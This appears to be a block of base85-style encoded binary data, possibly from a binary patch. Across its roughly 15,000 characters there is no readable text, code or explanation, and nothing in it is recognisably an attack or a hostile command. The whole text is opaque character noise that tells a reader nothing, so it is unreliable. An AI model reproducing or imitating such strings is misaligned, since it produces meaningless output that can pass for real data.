z4qTH|>Bc&ubV;lGI>YxRa&*^cxPRRw>6wx)ROE1fzd0j88m$S3$_}&J!E*qDLXs@cDuO;S+salC@nl)2aZru#8 z5B>XV-|%sT)b_f{vC9{Hkq+##`P?qMMV7+vW5Vxi8SC)Lpz1*wuJv`@E?eYfR;Wd? zGVqq9tMGoq4L5&eF@mJpo?Le(jOD%T5z^)MSskv4T)&M#uN5!?e+i9)%bSr2W(LXH zRW3c)Kvv&1lLaKYaS8KF6fe6xxmmPbCDugIW)T4`*omH48x?l((@-y>qm_?bGvJt4 zKDF7CY+S_CQ(S$Us`ss|UeQ;SvZ5;5jVhWL%!TIcYk4>n$TTG??0}^)^fq7KBQokJ z*0_h;)L7`Rk(o2s79WyD4~atS9jlq!vQMme{~|nNQ;!=RMY2ytQ{KS^=S}C=NAEFq zK!EL3D@5)HNTjvWsSC4PLCJ1Z zL`xb~0&IGIg9P8iQ-{11Ge7J~T548qzQ+w;g9{ykrQ)V|muOg(7py^Zm+OB?NwtTHJ%Ssg7AJ(U?pSG%p;h=foHeA57#D zgJNEcS?wZ|9u~C4_KChHBC$EYg1ffH-#l%)!11ho%+$H5H}foS`S!0MXYH~ zil1#geu$?E11!Y$SNSmCve!o{HC{H9jww>+%!$zf@~$GYgm255Sh{@D0T9s zHcehu<_l8NH+!l))%A;?ZI-wGa2G1i&zF*lYlfT7ruTwjR&Cuh!uuCxlJS%p^;K9R z@3WCj%ak#ZFw`Xh;3P6yi*yU#QO3J6P`1Dco9?3Nq|M->=@bKGJ##Mn5(+(~l1BG9 z(Z4A@thX6Hn;Z}p%&2b}k*UoVKK(?0PdlUKG`Wv0WrApwu`hc22zf8{kmao?6dLRW zug~rC!!l+Fj=p#}O12uopcopJ*PJ%_hDDhlfYd7wOD4LB0WV>@leMy8H6m1gf@`xJdpFwK*)L< zZ8OwmnL+Uedm{;WRUlOiiMN`6Snr`gH~6yAQ4=p=>7faAA0@mlLAlT*8($d6O)r$9 zM|-GG&3_udbDHPz6pHSW3T-mJ>jNv)saZn5SC3&MkCca;O5kTYR|}nKMZ!}43l|oK z=i=RBwx&?lvS{jQ6%!+N1-5LtCwfq)e#5{+VdRGLrP6a zYeqVkHZURL!6CcUXprT_4#IbQ_{vYAt!>QGz?YVlo`v7iU_-W2bkHbt=Pg6ytp{3? zcRG_J%YaGII{S$jE2czSHA0z3?#SKa8uaijga!#JBML5va^X>-r^*r}g zHrqbEmlC9db7-=~k&3sJhu0+N4N%+{r8l^mN3gxpQR~*CP4UPGC?0G!hiIL3_s|iF zmFH3P)GGO+REJTKo`0nrxRuC{D5G9Yv*0MrI8|Ek>!_<^Y}!(bmvtd01m^KP=;woc zZB~KLtR%J-vmF+_69?hyfsCNKD?J%HjoygGF|}0iQx(Ye<8;7+^-2iJEB9Yj)!crBDgRy=d#17@B8RR0YgNF9HE+;|U8rf4G+&>zsg>@#^ch zKCHJB!(XJKxf_F(DvIu!<>=dJNM189R~eEABO8*JN=YaEnZo>JjAq$nwOFP%%}XbO z4~GZ_Im$BlvY_FZ+7M40UeO{A5d1(Fog=bJdZ07kTei-lp$uxa9&gRUE~R}zF@bOJ zrUU|FqK&k~EHTMuU3-Kmri3g$wwQ>9^v=Rq(cdCnWXuej>Ec4l4C%*0TVpOX!YpPU zPWjyQL})Y(<^Dfs^d1P=uj^+lA#?OLg{G==qml(Nz;CXEXTT}*zB74z>4oA}GF&Un zObcKKh8yCeepvF~ALm(U=fY|jqseMgnb#Z4|8X`kH36N5g;xkVDgt%f>(>D^HVfUm z5=+0&J#{ZRZrzG@yL6_hEf3f&~lUSGz%up)sOJ|WsKux9D_SE~(SfuJe z2GB4KJYS&A3tcq~u%nzzI`gXWj#dCQxhwLDK@o}cTu~u4p%-pFt=S{+ebzy37&J5% zTfkTvQRDOEa?2@=Z$;r{8=V-`4D#KEbiaDL#9af2WO6ML=88$VP%t|^m|-ix=>h3= zusm`5a&pl2%SEdAem}1mrJ*o1L}^%NB;=&B`Ws>=g`14fAqpX88E{1N2W=Nsne9lsWilx7nb} zi$1aN;@%R_;KDELWk}nISCHHQ+O)?HL4O6_JGvLc^iR}Ar zvd+T~79MczM?0P?WAyXf#1veli?uNYoK5GX_=DvddfJeix(1jTru)PkvDWr?Z6j^m zQpNo=bcqbTRUJ1WGEvdteXkrLtoW#9dvfKyUzJ7TmBM3Z%jF2jAx(bfhGzgY?sIw| zI4#GMgZ`xXahuRP-Q*IP{RalzVf5(*EGbSdEi6GvQYEv|D_WGj?en3>YP>#AyXTgX z0U_#Bpwp8P2ndYHGfI5vDRDZv5lSVb0veV}}jcUDBqj?>Cb>;s8 zvlBBjXm_HR`P#$`@92AS*tglYw#X|@g+&`AmS}nnTxfr5)&$*{2>k{bzGWERL&pbW zZ0J0&O?@0-nIZwncD!@+Q-gl{>F1flUWQ-YZfiHvD}^dQ2+|&GZ<4hRb`} zMcGUMkfZegl>0JJUT6e{)2L8YbW}v1A|g*Ak?oSmQ<&?3PUI;I5s)+_QX9r?y5rbM zyuqYC(8{L3UnF&0lKKGiUeHMqC`z{#AL0$H8xS8Nn_j6Rk`pX<#7$j;kQ2twBz)gnpW<=;Lu>C9-0YHS)_-UVJNJn3aw;Vx=P; z*=$5sS}SO$&PqocO{L+4UKZViL)M82b)l>WB_W1RhU!!hArSxWBAzLAWlCKs?QZSU@p>WixATJ8KHIxTB}o?##BoKotd^Z5Zu~ZjvJrJapNZ&jT`%Vo5qbSS@%P-7J@jhl= zU=lA^UJMpZwBbl?6R0uvkUk-AT<575HgPYYHo7|+BD%zIj^%c(Y!H8NkN+{CUY6A9 z<#tl25k_qWU{q(`>7%$`Zl_tVG;Kkyu;bv|5)w;;&b!x+I&W`;a7A^LFqZ-7>G5zSXamYK&^j;Xhhg$xF8dLx4Rzt`vFmf5fvXxov#})RAz9|U#XKw}9^L_*N;2WD z-IW612_)GP0{`N`aJ5<=A_YQHE~e*h~Z#s~;_bc{w4t|}p^i&$m<|7c?=Z2( z&iqbM{7xZ$U+t$joI)JF(~mivLL7bwP-!|A`kq*9iLhTxi$a5ePZ98@is_Wp6QNA; zL)6u8VVnfOna5T6k&%t(xBC1z60gZ-)F*Fi1T$l6VdavcKjDNJ#kg3u9}@O_la z{$!kZffAe$Iwcc+h;mf}@HI$qRfj-*4Ah4}a|k3ggFt`Ey+355=*21>c0r=fnbif zO~4=ofHrPR{2hgRSz`y-@6EkGB~6SJ6QsO%k0#!`M`O{y4q)E9MJ=MQiz5|lMtOANRrqKf}_O?Ac>10bVYBwjl31*SOu|l zWX?@7BEq}{^)f#W-ON{;j1$L*zOwyx#?bV&GX`7iFRUHE8GAPdo$5U>$j;?7l;xa` zar}*66M#k;y!k)}DP1kxQc~W!wlL{4DWY1_>9Rim+FdK}wJQ zgaGke26-yE6k%YIpfYO)8NcJ4JTJDz1ZYMsr=n_$ib(iZ*%lR%@ZJbHC7TmP4bEO! zW40<|?zp4OR%Ogx{H!TE+R)NFyke4A2?OmXkhug1JDSIqz_zj30+zRKT+S2>>-MZA6Pm#Y)B}ixymVE!n=c(3xUfT_Eu6 zbI43Byopo%eT0#jx3KU>QxHUE2rSuhuxV#OZp`qeBHxQ;8_X%VNF81iN;|1(WzmBC zByDjA2jj>`AadWGKr*GqC>&14W9>4^i&Nx{U^-TQ3W`rE+6)B6K--93=6bp_e2R|@ z@xAyuip#}y1X`T(VqqB;l#cG4Rm>KQVN29$WchfA3igZXHZ1s}Y~(p?6*&aQ=j^oV zZZ|%S>k)HF=a0u|bcc}!m|KYKKlCWSTl`9yE9z0HezBFXYC}|+Hd$Wjvrw$Ejs02( zZMehv518Shx>$pyHb-dyR{@xe<4$r?O#nZHtd52d*e&C?CA)F~^bElT>B1C%_9IOO1O{R z^(TPQL$Nkd5$jTp9MiQ4r1&d}siG!shu#aZf|!OAo8~C?bewoY7B$%JDi2`sp=K49 zHgj{tbTL5V2HOlPE>$Z4YV?M67vyoibyd*%X&bGdN)1(OoFmfd0sv=CXvFq1)#FM9=$5%cSec*)-TnV4p5h9PhT+1EKgdngFsKr-4G}1UMTXfU zWEV5VnFP-MBWM4SvOhxE{Rm>_R}hpQfq$g2CS@3{iqYYLpK_6+HB7Y|Bf-MHyx2=e zb$y4iz;`5pUxZLjyI_XsWJBA;LkLU%L4#~~Q`0saTJu|MO+Y%XAySdysDKT{xYmAg zff#!f;~cG^eWuCQ+Nrs|05FLXP%l^{6Ao%F)C=lB0;vY8t}4~Qg{ncz;iRs74S6@o z9LKe!sQ~tbl%#nO7>rq$L*TeX=pCDU7eJBhC>hc%F37~cHPS6^Tn*_Kj)xKN8mITQ zxn2Qq98#|ZfnSK@h7c+$F$UU_J79)qdg5QlvnQj)laLe*Nwc-&4^Bo?nS&rPS?0K) zxuycR6-c?}K;Rm3jFMJKB6Qbii77_d6}zv=l$*@%Th|QiVtPZFeuUHCyB0}RQsN}% z%UQSsh?!1l+Oux>iy{@50EH6CPbA4xn(GjN4`V#i&d_PQ>@Z$EMNArIWt7+1;zv8v zUTPzGU1~$(&yBz@I0Hcxm1-lT_%5a4w=RNgJDiSjUp5rtW6D7$4@>EoDrW>s=x&nG zFOaDv(1c#e>_MAr8-RTv-nAe5ZG_#*T)7PPyDVE_4yZ}PaW*+@*PaE!N9;&AZaQRq zmMk2o^dq#XRD9kDk7A5ngz?BI z#5jZ)5Ojxy=v~;*G5qXor6C7OXgT-cNI&F6ZJ<)jmUAG z6`!-!NF#c0ls*_fc%5_1x6@#lI!X?PIiuuYn0&o}!4S)!r#YqRRWYpz=@v(`Dj8I|-ogx?wcKueq&EKW3+|c|0}cW58JlnQ#P3c?00y z5PLkwyPtD{g;aF6B>;O{7G zn?9qJrf`Q`DvTd(&=jIkQ<#S_!92Gc@6zxci4_p#{Qf$BR{JR5uF?1*&A-md!wKT{ z$Y}K;?UbFmK8il1zedXs>ELzKhxCszx|p7nIrc@7m{uPn#kBqyDW-P|6VtdGoVYcL zgy?}A1~J7U_;HzjB8rCK_r}N}__Hx`2rhHOGz5P=MjwK!%9KBt^gnM{=JU5@`b|#% z*A0t$@}W%c8BOX*-!W1>89zp;Cz%psU~~X&GY^AsQuO z?-->cM58dA9%IrGqESb$!bORuq!#+N~3 ztzWu7CC~~j7_)N4GCWPAfd-loFRq@WDvutEYJVob5Q>pl=_zCN;fJp%k(eBiwYVN_ z5RemL0z$ogN#fp)rrw@4R`&J{b8jyiYt;yGT=AxoX1H9u#vJ#Fp-%4;gPp!=tUkW= zi9u#JjWrEOePSXEm}n`vLVPWCu31cP7SY?K*L7A5?a(<|!SrxP@;^65h#35eR*D^v z+f@;Qr?LC+Q~G19{FMI2YQ*3uvPx`6wDAy(9j6Fi=S$4axSK-I;8J{?99$kBhth?k zONpD2N0%5}IIb44Kol2^NjlLXu}NkFAv!g!Abt^EZFn{$JffA(3woNo)wn^Ucg54# zC@+jN%14=Gw?9w5O2yBdt)a6IXjsvb&aYc~`U+8H9G;%0WHiR(r+$A` z4PpZHJ>KPWXl2O)*Ma8ezw4DHP?Sd8_-_5+6C4i$d+a9dxD~~;n&a^+ybhiH7sMi^ zVy>d4V9J7c*CP-pGQo1bLH7-VK~Dhpl<8)$t6URK<$J;#1vGywWJ=b`ed&i)O7buL z#Jy>7=1tDgtm(JAZ{~+X6t#c%0F(j5ayX07cA^z@K6;D3?2YtgXHA7R|MC{ud~Bkp306#H zH4~Wq6XKDTotkSjfWJYCYcd9=+r=|WlJL7(2Y=uHlhJlii;;3QpuK++7I z-nSBQH`A*>L(+SFrd=feh*=F(k4B=}Xr`o^GSfU6v+IAfD8|e9yG5@!ZpG8kiuw41 z4=HtnOwNb?g39KLvlR2}EF9RLwmkk}WF{(C4b)voZCn>5CM|H8GQEGXLdY_}dv7udQEs9FvsBdlW4TRx` zqFQoPcUulbb)l#rNA^R)k7yHDPSf;Scrj_x##cn>wft&{@=c7NNjR>A@>>=982>V-Qh{FWV`H6WJ z=LoDcmp06EGsSs=`^}Y~2O6kck4B@D(D!kjAANJ&0QvgvFP6SNHpe5+#EFr}Jg#d{ zI$wo|33|Hg0|2K1-J~=KtinJJ1dd@K9|BSHOjWH(yVhdAm|)k2=R(RNY$?+67f}VD z0sM04UuqH8yd2-|T}1qga(uy;QAIglD-81*)+?4!Y^8a)NCgUuZKy}Qh9I8@Ew>FE zBg6*~;b;$>O@%rj2g_})p#Y{se9~kHbTV@+Ey8tU?gL^cu#S&nmLLV91nPD@=b`q3 zjsippWP8>;Hl!e6&pb7Hl~6Xs^rZdKc{FlS_$q{*bFi7S#S0j57b9YCxpIMzYn9U1+e>jXfJ=i~SRfe%6%|0OY! z3IE>;-?7F4>!RCi`!`<4&X(!VQ8B5in4qbcR;rj>F6Jf#Kb06suGnW`4#SMaA<$Vy zH+7W-=xfYa1p>W88M{l2X9$0Q!gu@=piz>);X3w2nO>5L8LWz#W-4ZkD&~7GCKG~l zB*vSrwgAnB1Xp_qEJf6=5LgF+XZk)Hr|_4U@OLQuLkjj=kgeFiRWZocBMT&3i3=oKFJJ)KdTD_=2zy*+d4&$b zYEV2DoFwC4qk^mcZ7jIf-&VnBAk$wb>`zSC-Z1PoGQ9$|MuP>iHM;$6Y>oF-Yq&8T z2@Tc>C7*PVipu21C~`z)j;Zh!e_PvVgI+kckyo`*JJm*=RU7rz+v1eWQjrSy%T$2l zjfEQ(!N>o6NJH`SUhZXRF!lnX#Q3Y&O1sqTXoYZ?c zTV|1&Dc7S$1!8*BOALcNx6W3@ifYxy?U61%IvEW9qsZ`ML7za#G$ey$=6F;!(9i>qhq`O40WJ=(bITo4uKJLoo3se|9R>}0RPxYW zbFBlg93;55Lf{PuBprglr-Yh*GFn`bsJ%6Yqwg}@SHcfTxSwV@W7O->fUkdYTL#4u zaYy6oOx84c|3GUoL6C976bki2)}I8zrCW+=#QHdlNx~TJCcd=$Be^J_io6PE@?EOx zJi`A8@vAZgc00HVW9nEbEF=oM7U})Z&p<7wEJqeuOmxa5XXU1(lIvt#GP~$rpg4-A zX9gREtFSu9#*RuSUbB4zpCiY_B8QeRywywLz!Ec$Syg=p+zGK}_< z$r^;6A9BT7W5i<^k%kd|5qNJR{4OSg-F&1{elefL;iwNN$dca`{al==1_`bQAW&nm z8ZYxCLcq9f2bDwjP``^yHm*@;v=YM~Bwuea-2v;VVFmM%k^-NpAu;2@;a(LSP{Vnm}Mbp`snpPZD*M=8AecPMlb5FSNmNZ}6C?!`w~LsKKXD z={F%K@;Zfh)t1<0n@%O`k@zLlsO)m^Apo39xmBlA%##?imYa2khV7b61S*1vA-PIR z^p@Qz8J?z5)4sMuHtkzWRMQ@i7&A0W+tQO@$3>SoW`83$?nWx1;S#j#$_fPeg&&AT zwLfQxZq%z8w^}x7C{w+b$kothx|TNy!M0+HcIFk(`VnX;_K+a&M<6}VTVCuV%a&qG z5iQ3!mL@e zWIIee?x6@=vmGJ0{Lhf>Ys`j@48%zdJr_*D$U_(jh>cTV1$Ty!S7Q9r8kUjnh4ndd z`^Yl>425ICod?8Akch3fMROehFcA_RBhU^C;)_E3YMW~@fUi;}>W_SxW4A`SL32!T zd<0$AStgv)Tx|gKL4xZm2z*Nz-5@kbVjR?5(*W$RXB{mQ4r!EQl%8XXOgOE%CII+7 z(!{K*^sKWa#yKu^iz@XrVU(~xC>BYK3m`x-^C9Vkn29?~+aY)r(GNnvz8nIlA@I<0 zyLGLd=F7z%sw+;4)fx*MtlZ0H;tOFALU~JqTxHQaGDcuOzJL*Q^-9IOww%8AAq3P1 zz=6E1lgy2<5kD!*B|ohdKOL5bFaEt**^(!5N@O!fV}T=PU@Vo;*HjPm=if}6hB1|p zH}mzg&4f7$S zUcnjvv}VlJcWcFYF~ZK7xAQf#?e^C2bv?8KCmV$5lGzGXlkIk%Z167K4hp}tf-Puk zic@ymWFeX(?De#%DJ~QI3BZo)(5qWzxBqTWDpDHs1Bg%h9|&}Yz%z-ZNxMP3BNFcn z^&hdKEb(qpCRonE6 z!ps#{a@)P-1^vbo6u0f!Q(%E8u~clID2)9EVjTgfU#yMmJvu6RD7J=cJpA1UsY%lz zaC{|>0f_gE#2XjoLcAN0K&Zu6NmSP=Q$x|bfM0LZHd(puOmR`Hmy$6viX>xZ)Jovv z)m1DRGwCu{tyQWyW=8Rj6I~CO8O37aP6>Kih@U9w->c+(@VS)OdzF%#%~7e}!`!n< zwap%aXCaLFgJM?HpFhBSwhAW?8xHJZ0a1KpHQBc=h{CC?@@l&jpc=B`YobVi{<&HT z&^xQmg4SH({mOXF72YSS&4QLG@qUXUL2I>I3R?c^a6zkUZbX*0OJcs1w&PJs+Ky8t z`>a;dcAT1X$ZE1%#YTe|tmCZJO8$;hvu#+d8k{Mh{GBGuW2=??{Xy^_s}1sZgXAyf z7uCi$Df0urnC0(8REMdc%KT!MzdtE9{TCd*q1vCx=I9=se4OO(FZjCvQj?;~z%2C( zb_3!KmUz9QU5K{}5?mJ{a1jHTCvJ_*leoszka^yK2igr)wg#k7h|8ihx8E<(rpvS0 z>EtL%`m?(tzSM?;-XR`^i3*+XibsC~#w)GCOBm!6=Fvx|2~m9wS5G{SihE;#oIjvc z;a!L)G3o=7l6LJ@YTdTzqktPFKu`yWQ9&ZAIGOf2d?4X6Hnk^KWdHL zl9!&l71uxq;;c!OH3_r+w1zE3otryv7L6m(6*2BoH$~ji5aryC4TLX9rC`)cYq5Rs zDE%nY;`S8$s<63Da25N!PPHg8|vmE=} zttyJY#3EQ!Al5KoBO8BqbO*I{EepzUy0mj0q5PM{1Ud*TwvO-e1$eV~shFHv{6-g?_q~tckH&r>NKgOVHiF5)%8T&KF=EG_nKba!{I5j&D{zUlA z^$^n#W9Y5SD}Bf)iz)K6^?2m924npJ53s+6*zdWX76p#i;mdm2jZVXbvIf# zjzdCI9d2pa{ zS}DD_!7|u#|No8pAN4;vA<4!c?EjZHaR2upv-7tR;x_DM!#4b2gX}rF97a}Gz3H^6 z9VU3ZY0a|Stw4jZp=fl6IA^CQ65GLacJ%|s42x3THH9KK5`&H;sM!?BdS6>oZ2)&~ zz{NiV4rAR?Ah1*-Y_qxA0eEJE)HOFl{3wW@V56!1>IONr-`Su~?NCHV$Z}9pSYmTc z05EnVVEzb!2RBA)CVGzcj@TN_O|_SsYA-d_QybAQj;Spm1smfzOwk(yBC$2fZzS>F zM|FM$0k&OKxh}~qD1+F9XngBaTMawTy{76U*F>;>H+ANC9*u-Ba_VW5@?xTY? z>f8g-rp^s)lAZh6rcme7SA9ng&);-8WjQ|wgy7M-+OdDQV z7;e|spCN>8GvAfv%k&Q*gdPOzjOKc=5S3j~+>U;KAr!p@Pq)Q@m_-0&0O0%&rV~S>=@FDcTUY_C9tfng6XRoE z{v1Z4Ev!qCzYQ@trXLWWyM;v%U5;b}jmoUdE(35YBqgtXoR$ccpzS}C$;)7b&H{L_ zg#U_mbpUYR7LpnWP1F;FqZ`08B-}m5H5S0*Nca0>qB|RY=F8-sF|JJj-o)gcoQ%|# z%j8Kw?I6JCCHzCQ>pFl5zk;TH2Lg{kAUWoFbS?2P{B`|`?EC{l*JXw!(XJ{0R>lmk zL*SpkDu(Y$jNiE?P4t8!ahz~G+NjmE3rb(s)w8oQ&?{aC^yx=}wmOC^ZB~<=tM6C+ zP9wie(-tFAFq4YuiZS^)DGlkS>gpJjfx*8j8D}zbxhWsF0m<1)p&5YYd?XHKN%3)( z5*GZ*(~>w(;06hz3P^BdI<+wyr?zpXLUmKRl9-oya5W!zRfH|Nt^?NUlA$~>v{f~DHHmR9hT6HNo=`(3T#BKdXs}iG#QR(A5x-=QSFVpz&=tqqc^Mvj z?>8tqY7=F9cZ#JCyHhNF*e!vKvtAtOPXl6cLTHCE@5S+_GcXoEosLu%nLoNEJKbYR zgKQb6G)QUG*jlFdWfui)<219;<5x1hC#QdHOh>uzDbt6>lHB*$s>{8puJrCNJM$%{ zNS(B+cCOvhShk&yMK?qPx6UeGMUiHK`xPg*(O~g?b#+>A|2VLzJrYt^&1C$2cTNYgk4H(IKiPO z9F__FIN?D`z#G(OWx_BA-JpJAySzbNmN06=7jjEtjB&U=0q|wS$i#081NjhWh=I-! z_&}!`>yVXXs%eU9{&w@JzwGv=7-+~(KXuW*iQ(SA;!wSRg?g&PcGde=9N7Eawv+b< zPa1lA!AM%`Y*!+2#bFQ$ra&Tb)qx^0a(j5UcZ^30^R~0F#G|lmMF5#_(`zA}>Ghy9 z6bYY0_jvpo{@kwQq(?l;N%Rhqlb-P?C(rF5Iq4gZ%={AoX9))h#qxNAQ2ax-*Hs4z zMbjNhD9Xx&PVpoZAMcPtk-tL<#aD#dA6mbOMEyG6H5I@Sdcp@Xp=&&Qf=Q8Z_juPK z04D+>xrE7uc#BII?Efz$de3<3|Cu{v|1aJl`+v<2+5g*isQ&LG^DK?0{{L-Z)evFve zzY|@MaEA|1Fm(7N*+A>#slzYsR2@E7CLG`nzqM0#_=CG-hd;4P_3H|W`Wtt6HA=t^ zUMCX{atHql5|S^X<16asU6H%_H<{@$cXP{KvYYdE$!>1HOLlX2DrgCW&dNOJ<6Q>< z90&=n6A&1Kfol+0fPuRx8kjl$1<=5DDH(~2=gdPANJcL0k}~4hUAT-$3He6bBPC>9 zf|8JN^g89kyOo5DOF#)Jvs-t`m|&0)MkWcFkbn|WeRsHo%uPTE`H)h?yabex+}$P# zS&%@R9lNE3EK5KM8L?YQ$npe~kjcAALRKW8gsj_567mZ%a}vnTg+{WTu=Mfbx{JzOfx;9x=dJ- zz%o=Ms+nvnZX~BSlHu8&Q<%<3mTHtJX)V z8SR})fZ97zCY*bf0JV3b06nwUG|{woqD)lYtNZ(P8l;LTkW_VaqEyw|OS03`iL#Tn zSII>mC(1?cUJ``?MB!@yoMXA;S2_(H|AVYvM<;ds(7meT=gWkiPU`q^du7MZ-YYwP zF`=Rpl2sD5kCVKRY^4PB__aYM3~-XiuOoX^qwY`=;G{A73UBUHeAyGEroepF+o$U0OwfsA-Tu8#*3G+5 z)~($>#c2tNdXzcszE5&Ga-aE}JK$*`C7_lkH7`Sat8JFL{0UtGPEh|%*{3An1WCZG zeY&p&?rdiglv$eBQ>Q4)B1>VuV6M5eZrXMmm)5z6hR#tt7eP|%_Q@-XTz=;wv=5}0 z-?<2ue|;aD&4W}e;ujB`$;bddve&%`KBZA)KeoqKX!d`~_UKkbIIaO)Tf*IoIEt5z z6O93U4Zy{?*mxcy-jnG)in!_k=psV@g3u>2p;r-CD*)fxkA~|I@Jb3@ZOL=W(rOvI zp^c2~Wuw+l*-xt-^bgua(ivPNx!M!vMM#<_Ezg}>Js8Xi=GF{&(z4Jv?qhDJu|-s` zjHOn|-cL7|5VejNUj%nd^Y)vT5uO}(c7T)!zjVPLBv*2GN?3v792OVB}zo^olhUvySV&92#e`toy1W zLd2ja*PhyI+Hi8>x^2Ibs%=Fq76g92H%I~`dTFO5>*I^EPq6VtQ3&=+#>W@M+<)xX zm;B?4(lB;_MxF^papZXx0Q#Jas)!>@#b=e^wC;yweJ>HqI8#< z-1b{&mxW^zFecaz-|@@ExP%#?p!}v9=Pvb}DB~CHi{Um|!DY%T-hH*#x#SMTv}d35 z!%yo~Lc~1<6rUwVIu;|V#1}Av8R3{ms}PE0q+>DUqvRXE*$XbQg7{85E@#N@#Z*1J z6SX>qdU8yTsh-`5{#d=9-MMx+D~>IOqPzY#Jn7I26yu8ZgL)jJSh19_iyp)yDJO28 z<0l*xbE%-jgKAERcXG#%Ek<+73zUGHD-X+rNyQA8OP_LT*2|?hXgw!!mldPAqv}C9 zcQihzmd7ITdTus32%hQLt5!0nn3CB}+k$%lv| z+_Z5!)uv4{9vlg^6)JHT7fYtaJry=VCzU6YXBbI+8Ai%gekSja!M=i_!M@A^k>su_U>B zc!MZB4k^xWuw(si!60&*A}e6zC?}1fcPZwbLw409lVqK5a2I@ZNOpnekm{tF661C; zO7K#`PtXU8WI~7Hu5|#m!K_;$&=CWBA<+MjbYQv)Fwuc&GxAb8@em*SVgL5mqVN_g zgytWTUAtVb-FL+;A8t;Hzb;HXP3d{#0oq5}@P`GvXUoMOe9~wAA-04at>MEy+Y!p5 z#5MI`<#)&)P7U3bi-Fn;Ol&F;!wgd?!&y^?HmM(?mO4m#S{we2Kwk^eJM?Ta2EBSn zc|4j;rkj6TGB?0Cg$8R$oOzkbyo@r(99Ef^v6bp!<(rA&M-Ll`$>)mDO&q;cG(@|t zG1*&+>@6ajsFS@#WRi8V48L($m&#jo;@kuy0v>d*dP}7)O9+wH7ZLY^&geA#glLDt6SptPZ4Aq)4u!+q zvHAx>?LqLl!%7(Q%dW;RjZ9(MVA5^ms1(#LridnxavRs106C9<9M^-u6Gx;M>>@IK zw~dwo&mX~7dJixj4khFR_zLFy5(0HG=Ql_~BFuHTrUUo^BFu$ACIpg}LZI~#yLCj0 zSpVi;T6}}9He8!88{!*HwZu0XHpQn$^rrZRM4{6WRrhZ+t~{>7dug}|pK(N5Uk@fR zn~z|In{3V}YIyZ@8`fbhuvkjgp||Eb0pNbB{Ur#wWWo^5^+5SJaf}ks!FhR^Fi|51 z=jSN_eUiT}6DDb{&jHkq;))jn@kj4R2FSJh2rZp!KU=T;Y^wc3N7b@`KjtTo>a8)G zTBH0?)f%&9YsmU8rux=8D(hQIGC7~?+u*3GRy~=pn5*^fQB|$?Wx^7!R!dc_AXO{o z322;=+T$=xz5$`nbvAY|8@x8&!7tb()d7?~N9~r6O*I0YMu<_`IvY2_A2?X}@fS%A z!768Gp_3YjL3-7Wslxs+7RHIf*`kO>{=S2-E+Oyh$5dT&WR-f@xQd_YFxBi`Ld1%7 zmI>E2s$B{sP#rcL3mY-?N}!rt+ZSk)5=et_{bUr^WtffYGR%gY?m8x479hsHKM|@K z$IL#VYR33z-ic2%ixF(d0m;sudi5qzvwFfr z^%--*)f1|jrpbh*vYD3YFiFDSC!{3Aom4qCON=!(kPIAr#^7W`1J6Sz<-qggN&V=C zuUYf!0OnEX*^_D%I%OV(%AJ&>&`T%fD0I<03cYz!jzV=$%2BAvNxNwfO3lk|RU;)3 z$npdl2l(+!F;@E}hC8aWUE>+4Guc)A`=pwY818yfAAvby{z-koPG-%gPU1$7=uU5n zTtNW3eVQG6@o#{f*Rg~6RkGf8e3k5_Q`m1&MfKdDY-#RzNsR$~hZ2yvpJl=TX0G{Z`#prDX~5mco83-~)B4$2R`w}b*+(t?$!R4k z40k!L%L+&II;~`7AIZwn(X0% zQ}4%~QC)Xf*6b*E-GgUj*S&N`cHNt2WY?WFcilT@sOzwyuSgn4xS@S#RD1p<6RvZ6 zwmlPhazi&$>fr}5Ui*q0>^9$oxJ?!A1X-Pr7Q^vM+##3NJus$JF;eE(^nV&9sl*FTW|fLDFMr!hTt72|~M ztX&oHfkgR%i%2-DiufdyfJHnE39il%cp2Wehro*%z(QY!0F|3zF1I@7je&CC zIV%}xih&m)@X=ZGP#M-_bQS}%8@)$45g)Rp_FJd7-#ThP&skkPSx5Hq-m|Jf85X58 zagwTm>gsxmX>%5@riq;dv_DHXxtIo$|a2p>JfKJy8tzlJMTBNG(nGir+RiHz<_f%K_(--p-e(o$sFIeZWh^|3l|+ zH3f4BT}+UXWzMNF=Mr6ncj02}!#oy8}j*^5O~sjnDBYBVVEU070L8=f!`H zdZ`ZqpPi##>Px`a=Tt9!M{wVBXc@uZa(jvyeh#OnDWPr{K+)6B>D@4pA{LzE39Gyq z6pg*PO2QSyV1l<0oq0$H2j3ACx$m6PLDtLWy}}O=9Y3c!^?*$1$uG6sI;S+;^PwE5 z*AzJ~^_oY{tMjKnCB~p=hV8`}9xP#}ghxb!-t!;mBifWRvda4d#E2}$dRIM*HkYhwPx5U7uVQxIs5fvXVs4`vaSpp4=? zj4yt~^%Q^^i0~`~{D^=e=aL9>A8|DYu-*BB)@87A&&tlG4I{o`Ges*QS0r&XbkB}M zx$AfyZzyJFxif3D1MLZ7(Xywz;-|cnI~n#){G zWlq%FZ#9($GK!`}S(N7&iduXgCD%)5Dq;;qUBajouFIA~)%?Jvkie%IXT-(HZ7{M`lK zziJ2Jsl>%Z2o1yJ=@1yNb1^`2v5>e}1AnI}Eh4W>0C@;`yA5LuVJPb)cU7u4?q@F`0reh3V-ZHmE|W#Xx-o~ zu517JQ5V06pDY%d7fQgAAG;_^E_G2Z3!cA7owWm)ouL(l(*A%@WxbGP+&UuWHbnoZ zp=Y`$D?=w@u9#;bG*c^rp64KxLvim_#{0tw5Z4Yu-6*ajgl20WLfkkAO}c1QM^aPL z|_s`n@*fbrCz@s|oxi)-*pT0d!h<>YiQUTVV!$pYuG zOG+DNIQf#U4Rge67=e2fjrbKW8C@Tv`PH<8@wj)<{F0pB#UVoY9AVnqI6^i$T>y4Y zE>1JeF~S&+F(-;^a@}(=9%qOZ7@7D0nL%HUM~!(G*3DTNqe!W~N_a;uky3pv9@j&E zQT16Re)j=xncw3{C62kQCistK!r^#V0|1Lb0u8f|>KJJf;{;AIp8 zEaM2Sd4<|`d;+%Z$5%-0#X0+ytnHu#nzJ+i56+%CK8oY}-95=2IkYX>VgZs19^54) zxFu+5fyfckh9r$3RiqSmm*Q63-KDs;xJ!XzZE=eIp6zBYr0w_f`{!<+%$qlF-sp}z z)aQHl9MaMHlFh$;s9Q9%5PtL}iw=0G8!o31=J=A~MpGj8#Zdj$smt)B{$U9I_|SL= z)t3&}`ke&qV!--cgTOw_OF0na_Xj{{5UPXFbATSR*0^(~wIsF7m)pWl0&no8w(#{s zX$$R-NC!s+hq7Kp6$(S>qesSDGxoh+oiTl<;SIXV26ZDuz}Bv<+{e-uzv(IgQA#@s zxVq$^Lg<9qDE3JIfZGkQ7%MVkx$;eMqngCR+p9&3MJerxi zIo|n}hL_=v6xL7Nco%NXNBSqL34;HWzEw@jp=NMHYuaXH9(*X9)c!VBYaBmKGfu^< 